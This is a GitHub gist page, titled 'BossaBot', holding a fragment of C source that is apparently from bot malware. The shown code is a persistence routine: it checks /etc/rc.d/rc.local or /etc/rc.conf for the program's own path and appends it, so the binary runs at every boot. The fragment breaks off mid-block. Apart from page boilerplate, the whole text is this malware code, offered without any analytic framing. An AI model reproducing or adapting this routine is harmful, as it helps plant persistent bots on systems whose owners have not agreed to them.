-
-
Save revENGR/e36ca22110a1e77b9c61be192dac09d9 to your computer and use it in GitHub Desktop.
BossaBot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifdef STARTUP | |
str="/etc/rc.d/rc.local"; | |
file=fopen(str,"r"); | |
if (file == NULL) { | |
str="/etc/rc.conf"; | |
file=fopen(str,"r"); | |
} | |
if (file != NULL) { | |
char outfile[256], buf[1024]; | |
int i=strlen(argv[0]), d=0; | |
getcwd(cwd,256); | |
if (strcmp(cwd,"/")) { | |
while(argv[0][i] != '/') i--; | |
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i); | |
while(!feof(file)) { | |
fgets(buf,1024,file); | |
if (!strcasecmp(buf,outfile)) d++; | |
} | |
if (d == 0) { | |
FILE *out; | |
fclose(file); | |
out=fopen(str,"a"); | |
if (out != NULL) { | |
fputs(outfile,out); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment